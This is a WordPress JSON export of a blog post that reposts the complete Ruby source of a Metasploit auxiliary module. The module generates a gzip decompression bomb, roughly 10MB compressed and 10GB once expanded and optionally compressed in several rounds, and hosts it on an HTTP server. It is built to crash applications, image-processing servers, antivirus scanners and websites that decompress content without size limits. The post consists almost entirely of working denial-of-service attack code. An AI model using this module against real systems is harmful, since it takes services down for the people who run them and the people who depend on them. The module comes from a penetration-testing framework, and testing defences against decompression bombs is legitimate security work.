{"id":59280,"date":"2024-08-31T21:20:01","date_gmt":"2024-08-31T18:20:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180515\/gzip_bomb_dos.rb.txt"},"modified":"2024-08-31T21:20:01","modified_gmt":"2024-08-31T18:20:01","slug":"gzip-memory-bomb-denial-of-service","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gzip-memory-bomb-denial-of-service\/","title":{"rendered":"Gzip Memory Bomb Denial Of Service"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;zlib&#8217;<br \/>require &#8216;stringio&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpServer::HTML<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Gzip Memory Bomb Denial Of Service&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.<br \/>Many applications will not implement a length limit check and will eat up all memory and<br \/>eventually die. This can also be used to kill systems that download\/parse content from<br \/>a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).<\/p>\n<p>A FILEPATH datastore option can also be provided to save the .gz bomb locally.<\/p>\n<p>Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly<br \/>deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)<br \/>will generate a 300 byte gzipped file that expands to 10GB.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;info[at]aerasec.de&#8217;, # 2004 gzip bomb advisory<br \/>&#8216;joev&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.aerasec.de\/security\/advisories\/decompression-bomb-vulnerability.html&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2004-01-01&#8217;,<br \/>&#8216;Actions&#8217; =&gt;<br \/>[<br \/>[ &#8216;WebServer&#8217;, &#8216;Description&#8217; =&gt; &#8216;Host file via web server&#8217; ]],<br \/>&#8216;PassiveActions&#8217; =&gt;<br \/>[<br \/>&#8216;WebServer&#8217;<br \/>],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;WebServer&#8217;))<\/p>\n<p>register_options(<br \/>[<br \/>OptInt.new(&#8216;SIZE&#8217;, [true, &#8216;Size of uncompressed data in megabytes (10GB default).&#8217;, 10240]),<br \/>OptInt.new(&#8216;ROUNDS&#8217;, [true, &#8216;Rounds of gzip compression. Some applications (FF) support &gt; 1.&#8217;, 1]),<br \/>OptString.new(&#8216;URIPATH&#8217;, [false, &#8216;Path of URI on server to the gzip bomb (default is random)&#8217;]),<br \/>OptString.new(&#8216;CONTENT_TYPE&#8217;, [false, &#8216;Content-Type header to serve in the response&#8217;, &#8216;text\/html&#8217;])<br \/>],<br \/>self.class)<br \/>end<\/p>\n<p>def run<br \/>datastore[&#8216;HTTP::compression&#8217;] = false # not a good idea<br \/>@gzip = generate_gzip<br \/>print_status &#8220;Gzip generated. Uncompressed=#{default_size}bytes. Compressed=#{@gzip.length}bytes.&#8221;<br \/>exploit # start http server<br \/>end<\/p>\n<p>def on_request_uri(cli, request)<br \/>print_status &#8220;Sending gzipped payload to client #{cli.peerhost}&#8221;<br \/>rounds = ([&#8216;gzip&#8217;]*datastore[&#8216;ROUNDS&#8217;]).join(&#8216;, &#8216;)<br \/>send_response(cli, @gzip, { &#8216;Content-Encoding&#8217; =&gt; rounds, &#8216;Content-Type&#8217; =&gt; datastore[&#8216;CONTENT_TYPE&#8217;] })<br \/>end<\/p>\n<p># zlib ftw<br \/>def generate_gzip(size=default_size, blocks=nil, reps=nil)<br \/>reps ||= datastore[&#8216;ROUNDS&#8217;]return blocks if reps &lt; 1<\/p>\n<p>print_status &#8220;Generating gzip bomb&#8230;&#8221;<br \/>StringIO.open do |io|<br \/>stream = Zlib::GzipWriter.new(io, Zlib::BEST_COMPRESSION, Zlib::DEFAULT_STRATEGY)<br \/>buf = nil<br \/>begin<br \/># add MB of data to the stream. this takes a little while, but doesn&#8217;t kill memory.<br \/>if blocks.nil?<br \/>chunklen = 1024*1024*8 # 8mb per chunk<br \/>a = &#8220;A&#8221;*chunklen<br \/>n = size \/ chunklen<\/p>\n<p>n.times do |i|<br \/>stream &lt;&lt; a<br \/>if i % 100 == 0<br \/>print_status &#8220;#{i.to_s.rjust(Math.log(n,10).ceil)}\/#{n} chunks added (#{&#8216;%.1f&#8217; % (i.to_f\/n.to_f*100)}%)&#8221;<br \/>end<br \/>end<br \/>else<br \/>stream &lt;&lt; blocks<br \/>end<\/p>\n<p>a = nil # gc a<br \/>buf = generate_gzip(size, io.string, reps-1)<br \/>ensure<br \/>stream.flush<br \/>stream.close<br \/>end<br \/>buf<br \/>end<br \/>end<\/p>\n<p>def default_size<br \/>datastore[&#8216;SIZE&#8217;]*1024*1024 # mb -&gt; bytes<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;zlib&#8217;require &#8216;stringio&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Gzip Memory Bomb Denial Of Service&#8217;,&#8216;Description&#8217; =&gt; %q{This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.Many applications will not implement a length limit check and will eat up &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59280","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59280"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59280\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}